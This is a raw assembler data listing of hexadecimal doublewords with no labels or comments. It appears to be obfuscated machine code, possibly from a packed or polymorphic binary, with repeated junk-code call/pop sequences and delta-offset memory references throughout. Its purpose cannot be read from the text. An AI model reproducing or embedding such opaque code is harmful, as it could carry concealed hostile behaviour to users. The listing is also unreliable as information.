dd 91358DD7h, 0B681403Dh, 0E8D0FF18h, 14h, 80E25FC4h, 94BDCBE7h
dd 0C86CFD38h, 0CA8D2A7Dh, 718B72BFh, 835B33B7h, 0E01029BDh
dd 850F0107h, 0D2h, 2FE1BD89h, 895307E0h, 0E02DF585h, 858B5B07h
dd 7E02039h, 0A8E4F281h, 99E91F41h, 0F000000h, 58Bh, 0CB2BBA00h
dd 895025A7h, 0EE82404h, 89000000h, 1DE0BBDEh, 62F880ADh
dd 29CA1F04h, 68F0F6Ch, 89000000h, 0E034958Dh, 146A5A07h
dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Ah, 9DC35040h
dd 7F7F1C60h, 95FFF0B8h, 7E018A9h, 24E59D89h, 6A5807E0h
dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 1B042444h
dd 47000000h, 950BC357h, 0A29551E4h, 0B70F4727h, 810F60DEh
dd 5, 0B74A31BEh, 8A0F0Ch, 61000000h, 0F003880h, 0FFFF6985h
dd 60D08AFFh, 1931B589h, 0E78A07E0h, 100C661h, 3618AB2h
dd 0E01B759Dh, 0C9BD8307h, 7E011h, 7E840Fh, 6A0000h, 3E851h
dd 59200000h, 4C8959C3h, 44810424h, 1B0424h, 51410000h
dd 42971AC3h, 378950C6h, 0F3CA804Eh, 6AD98B66h, 55006AFFh
dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1904h, 0C3554500h
dd 12AA1367h, 13E9766Dh, 50000000h, 8BE7C011h, 0CAB28754h
dd 0ED502A6Eh, 6BBB776Dh, 95FF9E6Ch, 7E018A9h, 0B9D18B60h
dd 2A01386h, 0FFB1E961h, 958BFFFFh, 7E0332Dh, 11C985C7h
dd 107E0h, 6A0000h, 3E852h, 5A200000h, 54895AC3h, 44810424h
dd 1C0424h, 52420000h, 4F0DD8C3h, 0C77996EBh, 0CEB2F7A6h
dd 7359D8Bh, 958907E0h, 7E02C59h, 4E6B8589h, 840F07E0h
dd 6, 1569958Bh, 509007E0h, 5A5B5050h, 32CE8090h, 4EC68060h
dd 0AE9056Ah, 8F000000h, 0CF275AA8h, 42E9FE33h, 83858D58h
dd 6A07E04Eh, 3E85200h, 20000000h, 895AC35Ah, 81042454h
dd 1C042444h, 42000000h, 747DC352h, 46E7CF4h, 0BA7B2A9Bh
dd 32AA723Ch, 6321BA66h, 14A99589h, 665007E0h, 892F63BBh
dd 9E92404h, 0F3000000h, 0C58010D8h, 1F8FD21Eh, 4E73858Dh
dd 6A07E0h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1C0424h
dd 53430000h, 9057D7C3h, 17916F98h, 81539372h, 0ACD749E2h
dd 0B6905B33h, 0E96050A0h, 5, 51780708h, 0C576BE41h, 90615F74h
dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Bh, 9BC35242h
dd 3DDF672Bh, 0FCFF00Eh, 38Ah, 0D3BF0F00h, 1B8D95FFh, 9D0307E0h
dd 7E01655h, 7D778D8Dh, 958B07E0h, 7E02095h, 1174C00Bh
dd 4E83858Dh, 0FF5007E0h, 0A18589D1h, 0EB07E04Eh, 0A185C70Ah
dd 0FF07E04Eh, 6AFFFFFFh, 3E85100h, 20000000h, 8959C359h
dd 8104244Ch, 1B042444h, 41000000h, 0E017C351h, 0DAD586D9h
dd 0B70FF1F1h, 9E8D0h, 256A0000h, 5EDB8F2h, 0B604846Fh
dd 89515AC3h, 0E02C6185h, 60615A07h, 2AC9858Bh, 0BE907E0h
dd 8E000000h, 0CBF3D589h, 3FCC0419h, 0C6618236h, 0E0075985h
dd 6A4D07h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 170424h
dd 56460000h, 0EF0432C3h, 8D89603Ah, 7E00799h, 10E8h, 1E2A7400h
dd 45137829h, 0B540719Dh, 0F6F9B438h, 0A58D89C2h, 5A07E007h
dd 942E6861h, 48178CEh, 66E27A24h, 0DAB70F2Bh, 1425B5FFh
dd 0B86007E0h, 22612209h, 30319589h, 8D6107E0h, 0E37FE885h
dd 0BD8D8907h, 0FF07E004h, 840FD0h, 89000000h, 0E02F7185h
dd 1BDA8107h, 0C624E283h, 0E0075985h, 6A4507h, 3E855h
dd 5D200000h, 6C895DC3h, 44810424h, 170424h, 55450000h
dd 43514AC3h, 299589E3h, 5107E00Eh, 6850Fh, 0EA810000h
dd 154EBA12h, 4E85Bh, 69690000h, 0D68B8E72h, 8B6CB350h
dd 0BB042444h, 1C19999Bh, 0CE8008Bh, 76000000h, 0A3E9F1E2h
dd 0A3DCEADCh, 0B20DD061h, 44895A0Bh, 0B580424h, 0E018559Dh
dd 2DB5FF07h, 6A07E029h, 3E85600h, 20000000h, 895EC35Eh
dd 81042474h, 1C042444h, 46000000h, 0FEC6C356h, 3611CE06h
dd 561ED07Ch, 68F0Fh, 0B5890000h, 7E02C91h, 0E8858D5Ah
dd 6A07E37Fh, 3E85000h, 20000000h, 8958C358h, 81042444h
dd 17042444h, 40000000h, 75B6C350h, 60607275h, 2F598501h
dd 0BA6607E0h, 896176ACh, 0E02AA995h, 0D0FF6107h, 0E855006Ah
dd 3, 5DC35D20h, 4246C89h, 4244481h, 17h, 0FDC35545h, 891289C5h
dd 0E028FD85h, 25850907h, 8B07E02Ah, 799529D2h, 6607E000h
dd 6AD98Ch, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1B0424h
dd 55450000h, 0FF6967C3h
dd 0C488AE33h, 0C2815356h, 5AF3A2E2h, 4C1F65Bh, 229840Fh
dd 6A0000h, 3E850h, 58200000h, 448958C3h, 44810424h, 190424h
dd 50400000h, 7907EFC3h, 0E9DAC1A6h, 0FBh, 0E857006Ah
dd 3, 5FC35F20h, 4247C89h, 4244481h, 15h, 0EBC35747h, 0CBB66B0h
dd 2D958B2Ah, 8B07E02Ah, 0E02A89B5h, 1D958907h, 8107E032h
dd 1180C6h, 50006A00h, 3E8h, 0C3582000h, 24448958h, 24448104h
dd 1504h, 0C3504000h, 0BD838E9Fh, 7E01551h, 13850F00h
dd 81000000h, 163767F3h, 61E94Eh, 8B520000h, 0E026659Dh
dd 3E835A07h, 50840F00h, 66000000h, 7CDDB81h, 0DB52960h
dd 0B307E01Eh, 29146A02h, 0E0349595h, 0A995FF07h, 0B07E018h
dd 0E00F5D9Dh, 59BB6107h, 0E91C57B7h, 0FFFFFFCAh, 0E852006Ah
dd 3, 5AC35A20h, 4245489h, 4244481h, 1Bh, 0E1C35242h, 7ACF98F0h
dd 0C7E7F1D8h, 106h, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh
dd 24448104h, 1A04h, 0C3564600h, 0D5E8A88Dh, 66863ECCh
dd 83B983BAh, 0E04E6BBDh, 850F0507h, 0FBh, 0E850006Ah
dd 3, 58C35820h, 4244489h, 4244481h, 14h, 66C35040h, 0FDB58BF5h
dd 6A07E028h, 3E85600h, 20000000h, 895EC35Eh, 81042474h
dd 15042444h, 46000000h, 0CA27C356h, 0B9D38B66h, 64h, 0E853006Ah
dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Ah, 7FC35343h, 6B534FE5h
dd 958BED64h, 7E018D1h, 0FE83E80h, 2A84h, 0A9958B00h, 0E907E026h
dd 2Fh, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 14h
dd 0A3C35242h, 80D18B66h, 0FC2057Eh, 4684h, 459D0300h
dd 4607E030h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
dd 18h, 1BC35747h, 8AD7B348h, 2ABD8D89h, 0F4907E0h, 0FFFF8F85h
dd 0F5BA66FFh, 0B2BA664Bh, 0DE91Ah, 81660000h, 8911ECE2h
dd 0E023F5B5h, 58D38B07h, 0E853006Ah, 3, 5BC35B20h, 4245C89h
dd 4244481h, 1Bh, 0EC35343h, 2F03A488h, 0F87DE3Dh, 0C87h
dd 6860F00h, 89000000h, 0E021B99Dh, 819D8907h, 8307E020h
dd 0E01285BDh, 840F0007h, 18Ah, 30D5B589h, 896007E0h, 0E000D995h
dd 5985C607h, 5407E007h, 0E850006Ah, 3, 58C35820h, 4244489h
dd 4244481h, 1Dh, 24C35040h, 0CBC587BDh, 0B6272BDBh, 0DA816649h
dd 4E83113h, 0F4000000h, 50FF4EBEh, 0FD78B52h, 5B526031h
dd 61DA8B66h, 0E850585Ah, 0Ah, 0F3A47804h, 4C5D76E8h, 526014F4h
dd 0CFB7BF5Ah, 5B61738Fh, 424448Bh, 815698BBh, 0F008B33h
dd 287h, 89D38B00h, 60042444h, 3880Fh, 8B660000h, 6A5861FBh
dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 14042444h
dd 43000000h, 0B7D4C353h, 2DB5FF9Ch, 8B07E029h, 0E8858DDEh
dd 6A07E37Fh, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch
dd 1D042444h, 47000000h, 50BDC357h, 47DCEE86h, 102BD665h
dd 6AD0FFh, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 160424h
dd 53430000h, 2BC28CC3h, 5ACAB356h, 6A006Ah, 3E855h, 5D200000h
dd 6C895DC3h, 44810424h, 1C0424h, 55450000h, 0AA7FE1C3h
dd 36C25946h, 0B5FFD62Fh, 7E01285h, 0E850006Ah, 3, 58C35820h
dd 4244489h, 4244481h, 1Dh, 7FC35040h, 9F881F92h, 806A31BFh
dd 9D89529Fh, 7E02371h, 8BD0FF5Ah, 6A61D1h, 3E850h, 58200000h
dd 448958C3h, 44810424h, 170424h, 50400000h, 3139E3C3h
dd 0CA81665Ch, 85C7D656h, 7E012F5h, 1, 7E852h, 6AA10000h
dd 0E3B94210h, 8E8C5h, 0F73F0000h, 2ECCE5EAh, 5B5B5BFCh
dd 0CD9D0B5Bh, 6007E011h, 0E852006Ah, 3, 5AC35A20h, 4245489h
dd 4244481h, 16h, 0CDC35242h, 0D2B3207Bh, 349D958Bh, 0A76807E0h
dd 81ACAD3Dh, 0C2D92404h, 6A5352h, 3E856h, 5E200000h, 74895EC3h
dd 44810424h, 180424h, 56460000h, 92DC2BC3h, 0BF0F4D8Eh
dd 8BFF6AD7h, 0E195FFDEh, 8907E007h, 0E033F5B5h, 0F3816107h
dd 233574E1h, 24048950h, 17F59D2Bh, 858B07E0h, 7E03249h
dd 88D9503h, 0C00B07E0h, 26840Fh, 6A0000h, 3E853h, 5B200000h
dd 5C895BC3h, 44810424h, 170424h, 53430000h, 105A13C3h
dd 8D95FF92h, 0FC07E000h, 7ED85C7h, 107E0h, 0D38A0000h
dd 1DEDBD83h, 0F0007E0h, 3084h, 57006A00h, 3E8h, 0C35F2000h
dd 247C895Fh, 24448104h, 1B04h, 0C3574700h, 0C06BCFEFh
dd 8D6116B1h, 79B1BA66h, 137D95FFh, 0B70F07E0h, 0A1BD83D0h
dd 7E001h, 0E840Fh, 0FFF90000h, 0E0311595h, 0B8DA8107h
dd 0F526ED39h, 1F89BD83h, 0F0007E0h, 6784h, 57006A00h
dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1B04h, 0C3574700h
dd 40B02ACEh, 0C2642ABAh, 6EE3B5BAh, 6DBD8305h, 7E02Dh
dd 32850Fh, 6A0000h, 3E856h, 5E200000h, 74895EC3h, 44810424h
dd 180424h, 56460000h, 0E00B32C3h, 95FF188Dh, 7E02C21h
dd 68F0Fh, 85290000h, 7E01495h, 6E9BD83h, 0F0007E0h, 2384h
dd 19BD8900h, 8107E01Bh, 0E020F585h, 400307h, 82E78000h
dd 23998581h, 400307E0h, 8B660000h, 25DE80D8h, 6A310Fh
dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 170424h, 52420000h
dd 792E93C3h, 0E38D8D6Fh, 8907E05Fh, 3378B301h, 0BD9D8BC2h
dd 8907E030h, 8B660441h, 0F5310FD6h, 5FF08D8Dh, 5FBA07E0h
dd 890A23AFh, 9958B01h, 6607E030h, 33B13DBBh, 7D9589C2h
dd 8907E01Bh, 95330441h, 7E01829h, 1B05BD83h, 0F0007E0h
dd 3D84h, 58D8900h, 0FF07E01Eh, 0E00F6995h, 56006A07h
dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1704h, 0C3564600h
dd 0FC5C079Ch, 68E0Fh, 9D290000h, 7E02C79h, 0BDADF381h
dd 0BD8321B9h, 7E0156Dh, 5C850F01h, 8B000000h, 55E9DFh
dd 0BB660000h, 0B58BDEAAh, 7E060BDh, 6C7h, 0B58B0000h
dd 7E05F04h, 6C7h, 60CF0000h, 2DCD9529h, 0B70F07E0h, 6A61CEh
dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 170424h, 52420000h
dd 9A6D4EC3h, 8D8B60C2h, 7E02A15h, 21299533h, 836107E0h
dd 0E007EDBDh, 840F0007h, 136h, 0E856006Ah, 3, 5EC35E20h
dd 4247489h, 4244481h, 16h, 0AEC35646h, 39B2FF5Bh, 0E1858957h
dd 5A07E01Dh, 14A1BD83h, 0F0107E0h, 0D585h, 57006A00h
dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1604h, 0C3574700h
dd 8BAE8610h, 58D89D0h, 8B07E013h, 0E04E5F8Dh, 57006A07h
dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1704h, 0C3574700h
dd 82531856h, 1C6A1B7h, 8D958B00h, 6007E02Eh, 260D9589h
dd 3E6807E0h, 8BA8BB8Eh, 240481DEh, 57447242h, 1820Fh
dd 6AF50000h, 619D2BFFh, 0FF07E02Ah, 0E007E195h, 68C0F07h
dd 8B000000h, 0E0009995h, 95896107h, 7E02065h, 25359589h
dd 95FF07E0h, 7E02579h, 0EE9h, 88C04C00h, 534190D6h, 0E58D8735h
dd 8BD6F655h, 0E04E5F8Dh, 0FE907h, 690D0000h, 657289E5h
dd 0BE9DA013h, 0F5790434h, 0F501FE9Fh, 2879958Bh, 0BD8307E0h
dd 7E020A5h, 1F850F01h, 8B000000h, 0E01E0D9Dh, 14E907h
dd 5D4F0000h, 3A3627ABh, 70E89D12h, 0EDA701D7h, 86672CAAh
dd 0C08B44DBh, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
dd 16h, 0DFC35545h, 0BD83728Ah, 7E006B1h, 83097500h, 0E001C5BDh
dd 1A740007h, 0C08B5350h, 20F5858Bh, 858907E0h, 7E020F5h
dd 0BC629D8Dh, 0D3FF07E2h, 0BD83585Bh, 7E001C5h, 50187400h
dd 0F5858B53h, 8907E020h, 0E020F585h, 519D8D07h, 0FF07E2B9h
dd 6A585BD3h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch
dd 16042444h, 43000000h, 65EC353h, 759D012Eh, 6A07E025h
dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 1D042444h
dd 43000000h, 0AE22C353h, 108D6829h, 0C19596EFh, 71953156h
dd 5A07E016h, 499503F8h, 8B07E001h, 42D381C0h, 831F8028h
dd 0E007EDBDh, 850F0007h, 15h, 24E19D09h, 0BD8307E0h, 7E030E1h
dd 2840F00h, 0B7000000h, 0EDBD83ACh, 7E007h, 35840Fh, 0DA810000h
dd 4E7E0FA3h, 1085BD83h, 0F0007E0h, 2284h, 50006A00h, 3E8h
dd 0C3582000h, 24448958h, 24448104h, 1804h, 0C3504000h
dd 0C10FCBC9h, 8346B7E1h, 0E007EDBDh, 840F0007h, 2Dh, 0E857006Ah
dd 3, 5FC35F20h, 4247C89h, 4244481h, 18h, 14C35747h, 0C21AF25Fh
dd 1085BD83h, 0F0007E0h, 84h, 0EDBD8300h, 7E007h, 46840Fh
dd 6A0000h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 1C0424h
dd 56460000h, 4C9B76C3h, 0FF48877Ah, 0BD89E498h, 7E02B1Dh
dd 1801BD83h, 0F0007E0h, 0F84h, 0AE900h, 18850000h, 1CBE3518h
dd 0DB6C567Dh, 7EDBD83h, 0F0007E0h, 3784h, 0D950100h, 8307E01Ch
dd 0E033D1BDh, 840F0007h, 24h, 6F69BB66h, 123D95FFh, 0EE807E0h
dd 50000000h, 7ACA0672h, 0CF4EBD95h, 8CFD1850h, 359D8B3Fh
dd 5A07E005h, 9D8BC08Bh, 7E021BDh, 6B1BD83h, 750007E0h
dd 0C5BD8309h, 7E001h, 53501A74h, 858BC08Bh, 7E02399h
dd 23998589h, 9D8D07E0h, 7E2BCC9h, 585BD3FFh, 1C5BD83h
dd 740007E0h, 8B535018h, 0E0239985h, 99858907h, 8D07E023h
dd 0E2B96A9Dh, 5BD3FF07h, 6820F58h, 23000000h, 0E016B99Dh
dd 419D0B07h, 8B07E02Dh, 8364B3C0h, 0E007EDBDh, 840F0007h
dd 4D9h, 1D099D2Bh, 0BD8307E0h, 7E033EDh, 31840F02h, 83000000h
dd 0E0156DBDh, 850F0107h, 24h, 0E857006Ah, 3, 5FC35F20h
dd 4247C89h, 4244481h, 1Ch, 0F6C35747h, 30D0CE97h, 0F9CE3EC4h
dd 50006A60h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1904h
dd 0C3504000h, 85CCCA28h, 850FAE19h, 6, 199D8D89h, 0B52907E0h
dd 7E0312Dh, 4E5F8D8Bh, 6A07E0h, 3E856h, 5E200000h, 74895EC3h
dd 44810424h, 1C0424h, 56460000h, 8ED385C3h, 0C8F72D1Ch
dd 0B5890D9Eh, 7E02B69h, 9D8B01FEh, 7E018ADh, 4E8h, 8000h
dd 509CB700h, 13E9h, 641EFF00h, 5A55F176h, 0A412AB42h
dd 0EDBE148Dh, 4AB636FBh, 424448Bh, 5860Fh, 8FBB0000h
dd 8B240833h, 5D31BA00h, 44894903h, 52500424h, 0CE8h, 7D399700h
dd 0BCCE8B11h, 0CC847790h, 0D18B66BFh, 0F310F5Bh, 82h
dd 58585A00h, 13059589h, 0FF6A07E0h, 18BDB589h, 952307E0h
dd 7E01AEDh, 7E195FFh, 0DC8A07E0h, 68D0F61h, 8B000000h
dd 0E0047195h, 0DDBD8D07h, 6A07E014h, 3E85700h, 20000000h
dd 895FC35Fh, 8104247Ch, 15042444h, 47000000h, 22E7C357h
dd 80CA8166h, 1C4F8BE7h, 7E8h, 2150EE00h, 0E31E249Eh, 3245958Bh
dd 895A07E0h, 0E0227585h, 0B3016A07h, 830F91E1h, 2, 0F502AB6h
dd 198Eh, 14E900h, 3F7E0000h, 300156C8h, 6B78D1AFh, 0BB66A88Bh
dd 7B23A428h, 5291A0AEh, 0FD1958Bh, 8D5B07E0h, 0E348AD85h
dd 6135BA07h, 860F7D4Bh, 0
dd 6AD0FFh, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 160424h
dd 55450000h, 0E624A6C3h, 89204F8Bh, 0E012199Dh, 6A036A07h
dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 14042444h
dd 41000000h, 50FDC351h, 5890Fh, 0A7BB0000h, 890AA309h
dd 6A240Ch, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 190424h
dd 57470000h, 0ED6094C3h, 8DAC56BDh, 0E348AD85h, 0BBD0FF07h
dd 23F9FC48h, 14DDBD8Dh, 6A07E0h, 3E851h, 59200000h, 4C8959C3h
dd 44810424h, 190424h, 51410000h, 0B663A2C3h, 8BEF649Dh
dd 6A1C4Fh, 3E852h, 5A200000h, 54895AC3h, 44810424h, 190424h
dd 52420000h, 9D4C14C3h, 607B38B2h, 6850FF5h, 8B000000h
dd 0E008D98Dh, 8E96107h, 0A9000000h, 0AEE235E4h, 6A20D2E9h
dd 0D38B6601h, 66525091h, 0FCFA7BBh, 0BE831h, 0F8160000h
dd 0EAE15B28h, 0E0213A2Fh, 0F525043h, 5B585A31h, 5750585Ah
dd 0FE9h, 0CD0E3000h, 4945B7FFh, 99E6D8B9h, 0CB925BBh
dd 0B560915Ah, 0D023BE3Bh, 8D6120BDh, 0E348AD85h, 89DE8A07h
dd 0E02599BDh, 60D0FF07h, 614CE280h, 6A204F8Bh, 3E85600h
dd 20000000h, 895EC35Eh, 81042474h, 17042444h, 46000000h
dd 0E74C356h, 0BD017C49h, 7E02CADh, 0AF28166h, 6A036ABAh
dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 1B042444h
dd 43000000h, 6A70C353h, 24355E59h, 8953C5AFh, 0E026CDBDh
dd 51915B07h, 5AD18B66h, 14E850h, 10930000h, 2E3588B5h
dd 0A377C54Bh, 0AACDFB92h, 0CC2BC28Ch, 5E9A234h, 1D000000h
dd 62F880ADh, 0B589915Ah, 7E01BE1h, 48AD858Dh, 8A0F07E3h
dd 3, 0FFD9B70Fh, 55006AD0h, 3E8h, 0C35D2000h, 246C895Dh
dd 24448104h, 1D04h, 0C3554500h, 7DFFD3E4h, 2805707h, 0D78B05E2h
dd 8E9h, 16101E00h, 8B2923B2h, 5F8D8BC6h, 8907E04Eh, 0E019C5B5h
dd 6A01FE07h, 3E85200h, 20000000h, 895AC35Ah, 81042454h
dd 15042444h, 42000000h, 7597C352h, 1DE99D03h, 858B07E0h
dd 7E04E5Fh, 0CE9h, 0F8A49F00h, 0EFAB8536h, 551348FBh
dd 6A00FE34h, 3E85600h, 20000000h, 895EC35Eh, 81042474h
dd 14042444h, 46000000h, 1AEC356h, 0E0199D9Dh, 3016A07h
dd 0E02CED95h, 126A6807h, 830FD011h, 14h, 0FE9h, 0F52C0000h
dd 0E98FCC74h, 79867521h, 434C3257h, 95240481h, 12FEE8Dh
dd 0E01D8185h, 7E907h, 0A3C80000h, 0CAB442Dh, 0B7858DC3h
dd 6A07E348h, 3E85600h, 20000000h, 895EC35Eh, 81042474h
dd 18042444h, 46000000h, 815C356h, 89764FC2h, 0E02F6985h
dd 82CA8107h, 0FF6E4B75h, 0FE960D0h, 36000000h, 62ADB7D7h
dd 8BAEB4A7h, 7D79BC2Dh, 958B5ED1h, 7E028EDh, 0E1BD8361h
dd 7E030h, 0BB840Fh, 5E80000h, 8C000000h, 94BF1CA0h, 7399D8Bh
dd 515B07E0h, 6850Fh, 0BD890000h, 7E0146Dh, 0B1BD835Ah
dd 107E016h, 8F850Fh, 958B0000h, 7E02C59h, 48C18D8Dh, 953107E3h
dd 7E011BDh, 1850Fh, 6AF80000h, 53006A03h, 3E8h, 0C35B2000h
dd 245C895Bh, 24448104h, 1D04h, 0C3534300h, 0F49F975Dh
dd 14DBB6F9h, 0D7BB0E7Ch, 0B64E67ABh, 89016AA9h, 0E033B5B5h
dd 6AD1FF07h, 8AF96001h, 9D8B61C1h, 7E01CE9h, 0FFF9016Ah
dd 0AD958BD1h, 0E807E016h, 0F87B6C32h, 0E852006Ah, 3, 5AC35A20h
dd 4245489h, 4244481h, 19h, 10C35242h, 1F14ECB7h, 0E9206A1Ah
dd 0Ch, 88C7FBBCh, 0C42209D7h, 0D211D220h, 95FFFF6Ah, 7E007E1h
dd 1591958Bh, 0B807E0h, 89000000h, 0E0228DB5h, 0FC00B07h
dd 4684h, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
dd 1904h, 0C3574700h, 0F9F152AEh, 0D68B1E89h, 9F41BB66h
dd 3441BD83h, 0F0007E0h, 1284h, 95FFF900h, 7E018C1h, 0D5DA8166h
dd 0A18D8972h, 8B07E028h, 0E0203985h, 0C607h, 0E857006Ah
dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Bh, 7CC35747h, 22A387FBh
dd 58F103E6h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
dd 18h, 13C35242h, 9B10998Dh, 0F7F28166h, 0D98C6638h, 0E852006Ah
dd 3, 5AC35A20h, 4245489h, 4244481h, 1Bh, 0F1C35242h, 9C878EECh
dd 89FC5C07h, 0E00E15BDh, 0F6D78B07h, 840F04C1h, 72h, 0E856006Ah
dd 3, 5EC35E20h, 4247489h, 4244481h, 1Dh, 1CC35646h, 0EAAD8F50h
dd 30203243h, 618D89F4h, 0E907E010h, 42h, 0E852006Ah, 3
dd 5AC35A20h, 4245489h, 4244481h, 19h, 53C35242h, 0A5B87AAFh
dd 89B58B8Ah, 0F07E02Ah, 68Bh, 11850100h, 8107E012h, 1180C6h
dd 0A3EE8000h, 6C7h, 895E0000h, 0E03391BDh, 8FBB6607h
dd 0F883D1h, 0C10840Fh, 9D8B0000h, 7E02D21h, 0F01F883h
dd 1A785h, 35950900h, 0B807E016h, 0
dd 0A7E38166h, 0FC00B63h, 10284h, 55006A00h, 3E8h, 0C35D2000h
dd 246C895Dh, 24448104h, 1804h, 0C3554500h, 32EB3B76h
dd 0CE978h, 81240000h, 0B4B93D00h, 0DBC3E248h, 0F8832FE3h
dd 0F3840F01h, 6A000000h, 3E85000h, 20000000h, 8958C358h
dd 81042444h, 18042444h, 40000000h, 759EC350h, 660474CDh
dd 0D5E4DB81h, 0F03F883h, 4484h, 4D958B00h, 0B807E000h
dd 0
dd 958BD88Bh, 7E00F61h, 89E0BD8Dh, 6A005Bh, 3E855h, 5D200000h
dd 6C895DC3h, 44810424h, 160424h, 55450000h, 0E0D719C3h
dd 6E9E7FFh, 73000000h, 0F7DFA111h, 1B80Ah, 12E90000h
dd 0E5000000h, 62EBCBB5h, 9F0BDF85h, 0B371CD8h, 7AD181B7h
dd 0E0BD8D4Ah, 6A005B89h, 3E85000h, 20000000h, 8958C358h
dd 81042444h, 19042444h, 40000000h, 0D18CC350h, 3838A95Fh
dd 68E0Fh, 0B5890000h, 7E00799h, 76BBE7FFh, 8D1B352Eh
dd 0E044EBBDh, 0E9950107h, 0B707E001h, 305E9AAh, 95290000h
dd 7E021D5h, 0DE9h, 811F6100h, 8FEA4169h, 0FCCF2A27h, 85C7FCEAh
dd 7E04EBAh, 5, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
dd 17h, 82C35242h, 8B9BDEE9h, 0E0018595h, 5B807h, 11E80000h
dd 0AF000000h, 0E81D7D8Dh, 65E319F0h, 0F3C09DBAh, 9C8E53C4h
dd 2C2D9D31h, 895A07E0h, 0E0209985h, 9E4E907h, 958B0000h
dd 7E02045h, 0F02F883h, 10285h, 50006A00h, 3E8h, 0C3582000h
dd 24448958h, 24448104h, 1A04h, 0C3504000h, 16831653h
dd 0B80A42F3h, 0
dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 16h, 2FC35242h
dd 89608A04h, 0E01C4D8Dh, 11E807h, 89130000h, 99D673A0h
dd 5941D68Bh, 142982FBh, 0F5AA96BAh, 0EE9615Bh, 13000000h
dd 63BF4144h, 0E5A46A3Dh, 7B05F1C6h, 0F4EB8038h, 840FC00Bh
dd 57h, 83DE8B66h, 840F01F8h, 0FFFFFF06h, 8361D680h, 840F03F8h
dd 0FFFFFE79h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
dd 14h, 0C1C35040h, 8166C02Bh, 0B3B0BFF3h, 0E0BD8D5Dh
dd 0F005B89h, 681h, 29BD8900h, 0FF07E000h, 1D9589E7h, 8D07E008h
dd 0E046E3BDh, 51006A07h, 3E8h, 0C3592000h, 244C8959h
dd 24448104h, 1504h, 0C3514100h, 80E9B945h, 83000001h
dd 850F03F8h, 64h, 0E857006Ah, 3, 5FC35F20h, 4247C89h
dd 4244481h, 15h, 56C35747h, 69BD89CAh, 8D07E007h, 0E04877BDh
dd 0EA816607h, 0D88B0512h, 142E9h, 55006A00h, 3E8h, 0C35D2000h
dd 246C895Dh, 24448104h, 1B04h, 0C3554500h, 99179E52h
dd 0AF5BBE5Ah, 6840Fh, 9D8B0000h, 7E01E29h, 0F05F883h
dd 3485h, 0A9958B00h, 0E907E020h, 852h, 0E852006Ah, 3
dd 5AC35A20h, 4245489h, 4244481h, 1Ch, 6AC35242h, 0A05456D5h
dd 6F941A54h, 60B01ABAh, 6F88319h, 29850Fh, 810F0000h
dd 0Fh, 0AE9h, 87250100h, 3C1F263Dh, 8D406E00h, 0E04A6FBDh
dd 11DB8007h, 0AAE9h, 799D8B00h, 8307E015h, 850F07F8h
dd 2Ah, 8D82F680h, 0E00215BDh, 0C1958B07h, 0E907E022h
dd 11Dh, 1299958Bh, 606007E0h, 26F5B58Bh, 9D8B07E0h, 7E0160Dh
dd 0F8836161h, 68850F0Ah, 6A000000h, 3E85200h, 20000000h
dd 895AC35Ah, 81042454h, 1B042444h, 42000000h, 2B5DC352h
dd 93592911h, 0CE93A6Ah, 90000000h, 0C48CD458h, 75077B5Ah
dd 8D7B378Ch, 0E04C67BDh, 56006A07h, 3E8h, 0C35E2000h
dd 2474895Eh, 24448104h, 1B04h, 0C3564600h, 0ADFE0F62h
dd 41C2D223h, 735E72BBh, 0E9FC73h, 57000000h, 0B9D88B66h
dd 9CB9640h, 320D9589h, 12E807E0h, 0F7000000h, 4EB5558h
dd 864532C6h, 9BB535C9h, 0AB1D3E85h, 0F5958B67h, 5B07E02Eh
dd 0F003F83h, 3A84h, 0D757BB00h, 0F304348h, 16890Fh, 11E90000h
dd 91000000h, 9B495796h, 0FD68B939h, 7C2F3CDCh, 0B136FC1Bh
dd 0F380C9D1h, 95314751h, 7E02395h, 0FFFFC3E9h, 7DB81FFh
dd 5F5AF949h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
dd 1Ch, 2FC35242h, 863B23E4h, 5F6EB957h, 63BD89F9h, 6A07E04Eh
dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 16042444h
dd 45000000h, 5E5EC355h, 6E9ACh, 0A84C0000h, 2A3E0811h
dd 21E98D8Dh, 6A07E0h, 3E850h, 58200000h, 448958C3h, 44810424h
dd 170424h, 50400000h, 844FC0C3h, 59D8B64h, 0FF07E020h
dd 0E028FDB5h, 25BA6607h, 58858D87h, 5007E2AEh, 5684BD8Dh
dd 8D8D07E0h, 7E07153h, 831ABCB8h, 30CF2B54h, 47C8D007h
dd 8DF87549h, 0E070AFB5h, 6B8D8D07h, 2B07E071h, 33A4F3CFh
